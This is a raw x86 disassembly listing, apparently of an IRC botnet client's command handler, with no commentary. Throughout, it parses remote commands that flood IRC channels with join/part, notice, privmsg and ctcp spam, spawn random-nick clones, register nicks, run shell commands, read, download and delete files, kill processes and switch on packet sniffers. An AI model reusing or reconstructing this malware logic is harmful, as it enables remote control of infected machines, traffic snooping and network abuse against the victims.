		jnz	loc_4057DF
		nop
		call	near ptr 26A0871h
		push	eax
		call	sub_41B8D8
		push	[ebp+arg_10]
		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFE
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFE
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A60
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42BC04
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_404CFE:				; CODE XREF: sub_401ACD+31BAj
					; sub_401ACD+31C0j ...
		push	[ebp+arg_10]
		push	offset dword_42BC00
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D6A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D6A
		push	offset asc_42D128 ; " "
		push	offset dword_42BBFC
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404D6A:				; CODE XREF: sub_401ACD+3242j
					; sub_401ACD+324Dj
		push	[ebp+arg_10]
		push	offset dword_42BBE8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD6
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD6
		push	offset asc_42D128 ; " "
		push	offset dword_42BBFC
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBD4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404DD6:				; CODE XREF: sub_401ACD+32AEj
					; sub_401ACD+32B9j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E42
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E42
		push	offset asc_42D128 ; " "
		push	offset dword_42BBFC
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404E42:				; CODE XREF: sub_401ACD+331Aj
					; sub_401ACD+3325j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAE
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAE
		push	offset asc_42D128 ; " "
		push	offset dword_42BBFC
		push	eax
		call	sub_417EEF
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404EAE:				; CODE XREF: sub_401ACD+3386j
					; sub_401ACD+3391j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EED
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EED
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404EED:				; CODE XREF: sub_401ACD+33F2j
					; sub_401ACD+33FDj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2C
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2C
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404F2C:				; CODE XREF: sub_401ACD+3431j
					; sub_401ACD+343Cj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F70
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F70
		push	offset dword_427638
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_404F70:				; CODE XREF: sub_401ACD+3470j
					; sub_401ACD+347Bj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE9
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE9
		nop
		call	near ptr 26A0871h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB64
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB5C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_404FE9:				; CODE XREF: sub_401ACD+34B4j
					; sub_401ACD+34BDj
		push	[ebp+arg_10]
		push	offset dword_42BB50
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405136
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405136
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_427638
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_427638
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405136:				; CODE XREF: sub_401ACD+352Dj
					; sub_401ACD+353Aj
		push	[ebp+arg_10]
		push	offset dword_42BB4C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051D0
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051D0
		nop
		call	near ptr 26A0871h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42BB24
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 24h


loc_4051D0:				; CODE XREF: sub_401ACD+367Aj
					; sub_401ACD+3687j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D2
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D2
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB5C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB5C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB5C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_4052D2:				; CODE XREF: sub_401ACD+3714j
					; sub_401ACD+3723j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405319
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADE
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BB5C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_405319:				; CODE XREF: sub_401ACD+3816j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405408
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405408
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset dword_42BBEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BBEC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405408:				; CODE XREF: sub_401ACD+385Dj
					; sub_401ACD+386Aj
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F7
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F7
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset dword_42763C
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_4054F7:				; CODE XREF: sub_401ACD+394Cj
					; sub_401ACD+3959j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560E
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560E
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BADC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAC4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAAC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BAAC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h


loc_40560E:				; CODE XREF: sub_401ACD+3A3Bj
					; sub_401ACD+3A48j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405734
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405734
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42BADC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset dword_42763C
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_405734:				; CODE XREF: sub_401ACD+3B52j
					; sub_401ACD+3B5Fj
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40577A
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_40577A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417789
		add	esp, 14h


loc_40577A:				; CODE XREF: sub_401ACD+3C78j
					; sub_401ACD+3C83j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C4
		mov	edi, offset dword_4D46EC


loc_405796:				; CODE XREF: sub_401ACD+3CE8j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A9
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A9
		push	eax
		call	dword_4CB6EC


loc_4057A9:				; CODE XREF: sub_401ACD+3CCDj
					; sub_401ACD+3CD3j
		add	edi, 210h
		cmp	edi, offset dword_4DAE0C
		jl	short loc_405796
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C4
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BA4C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4062C4
; ---------------------------------------------------------------------------


loc_4057DF:				; CODE XREF: sub_401ACD+3196j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7C
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C42
		push	20h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405B6C
		push	offset dword_42B950
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405B6C:				; CODE XREF: sub_401ACD+4093j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAE
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAE
		mov	esi, [ebp+var_88]


loc_405BAE:				; CODE XREF: sub_401ACD+40C3j
					; sub_401ACD+40D9j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B920
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset word_411FD6
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405C31


loc_405C1B:				; CODE XREF: sub_401ACD+4162j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828C
		push	32h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_405C1B
; ---------------------------------------------------------------------------


loc_405C31:				; CODE XREF: sub_401ACD+414Cj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset dword_42B8E4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C42:				; CODE XREF: sub_401ACD+4083j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	20h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C72
		push	eax
		push	offset dword_42B8A8
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C72:				; CODE XREF: sub_401ACD+4198j
		push	offset dword_42B87C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405C7C:				; CODE XREF: sub_401ACD+406Cj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCE
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D94
		push	21h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405CBE
		push	offset unk_42B854
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405CBE:				; CODE XREF: sub_401ACD+41E5j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405D00
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D00
		mov	esi, [ebp+var_88]


loc_405D00:				; CODE XREF: sub_401ACD+4215j
					; sub_401ACD+422Bj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
